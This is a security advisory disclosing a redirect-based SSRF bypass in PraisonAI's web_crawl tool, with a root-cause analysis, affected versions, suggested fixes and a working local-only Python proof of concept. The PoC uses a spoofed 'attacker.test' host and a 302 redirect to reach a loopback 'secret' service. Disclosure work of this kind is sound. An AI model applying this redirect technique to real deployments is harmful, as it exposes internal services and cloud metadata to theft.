GHSA-8hjw-25cg-g52h

## Summary

`praisonaiagents.tools.web_crawl_tools.web_crawl()` validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses `httpx.Client(follow_redirects=True)` and does not revalidate redirect targets.

An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by `web_crawl()`.

This appears to be an incomplete fix / patch bypass for the published `web_crawl` SSRF class (`GHSA-qq9r-63f6-v542` / `CVE-2026-40160`, and `GHSA-8f4v-xfm9-3244`).

## Affected Component

Package:

```text praisonaiagents ```

File:

```text src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py ```

Functions:

```text web_crawl() _crawl_with_httpx() ```

## Affected Versions

Validated affected:

- `praisonaiagents 1.5.128` via repository tag `v4.5.128`; - `praisonaiagents 1.6.40` via repository tag `v4.6.40`; - `praisonaiagents 1.6.56` via repository tag `v4.6.56`; - current `origin/main` commit `095653d78a01cc6c80ff5b2dd20a8e5619686ddc`.

Suggested affected range for maintainer confirmation:

```text >= 1.5.128, <= 1.6.56 ```

No patched version is known to me at submission time.

## Root Cause

Current `web_crawl()` validates only the initially supplied URL:

- requires `http` or `https`; - resolves the initial hostname with `socket.gethostbyname()`; - rejects loopback/private/link-local/multicast/unspecified addresses unless `ALLOW_LOCAL_CRAWL=true`.

The default fetch sink then follows redirects:

```python with httpx.Client(follow_redirects=True, timeout=30.0) as client: response = client.get(url) ```

There is no validation of intermediate or final redirect destinations before `httpx` fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.

## Local Reproduction

The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so `attacker.test` appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.

Run from a checkout of the repository:

```fish env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py ```

Observed output:

```text DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'} REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'} REDIRECT_SERVER_HIT: True INTERNAL_SERVER_HIT: True PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback ```

The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.

With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:

```text REDIRECT_HIT: True INTERNAL_HIT: False ```

## Impact

If an attacker can influence URLs passed to `web_crawl()`, directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the `web_crawl()` result.

Practical impact includes:

- reading loopback-only HTTP services; - probing private network services; - reading cloud metadata endpoints where reachable and not otherwise protected.

This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.

## Severity

This mirrors the CVSS v4.0 shape already used for the prior `web_crawl` SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.

## Suggested Fix

- Set `follow_redirects=False` in `_crawl_with_httpx()`, or handle redirects manually and validate each `Location` target before following it. - Centralize the URL validation used by server-side fetch tools. - Validate every resolved address using `socket.getaddrinfo()`, not only the first `gethostbyname()` result. - Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations. - Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.

## PoV

```python #!/usr/bin/env python3 """Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.

This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target. """

from __future__ import annotations

import http.server import os import socket import socketserver import threading from typing import Any

from praisonaiagents.tools.web_crawl_tools import web_crawl

class InternalHandler(http.server.BaseHTTPRequestHandler): body = b"INTERNAL-SECRET-FROM-LOOPBACK"

def do_GET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(self.body))) self.end_headers() self.wfile.write(self.body)

def log_message(self, *_args: Any) -> None: return

class RedirectHandler(http.server.BaseHTTPRequestHandler): target = ""

def do_GET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.send_response(302) self.send_header("Location", self.target) self.end_headers()

def log_message(self, *_args: Any) -> None: return

def main() -> int: os.environ.pop("ALLOW_LOCAL_CRAWL", None)

internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler) internal.hit = False # type: ignore[attr-defined] internal_port = internal.server_address[1]

RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret" redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler) redirect.hit = False # type: ignore[attr-defined] redirect_port = redirect.server_address[1]

threading.Thread(target=internal.serve_forever, daemon=True).start() threading.Thread(target=redirect.serve_forever, daemon=True).start()

original_gethostbyname = socket.gethostbyname original_getaddrinfo = socket.getaddrinfo

def fake_gethostbyname(host: str) -> str: if host == "attacker.test": return "93.184.216.34" return original_gethostbyname(host)

def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any): if host == "attacker.test": return original_getaddrinfo("127.0.0.1", port, *args, **kwargs) return original_getaddrinfo(host, port, *args, **kwargs)

socket.gethostbyname = fake_gethostbyname socket.getaddrinfo = fake_getaddrinfo try: direct_control = web_crawl( f"http://127.0.0.1:{internal_port}/secret", provider="httpx", ) redirect_result = web_crawl( f"http://attacker.test:{redirect_port}/go", provider="httpx", ) finally: socket.gethostbyname = original_gethostbyname socket.getaddrinfo = original_getaddrinfo redirect.shutdown() internal.shutdown() redirect.server_close() internal.server_close()

print("DIRECT_CONTROL:", direct_control) print("REDIRECT_RESULT:", redirect_result) print("REDIRECT_SERVER_HIT:", bool(redirect.hit)) # type: ignore[attr-defined] print("INTERNAL_SERVER_HIT:", bool(internal.hit)) # type: ignore[attr-defined]

if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control): raise SystemExit("control failed: direct loopback was not blocked") if not isinstance(redirect_result, dict): raise SystemExit("bypass failed: unexpected result type") if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")): raise SystemExit("bypass failed: redirect target content was not returned") if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined] raise SystemExit("bypass failed: expected local servers were not hit")

print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback") return 0

if __name__ == "__main__": raise SystemExit(main()) ```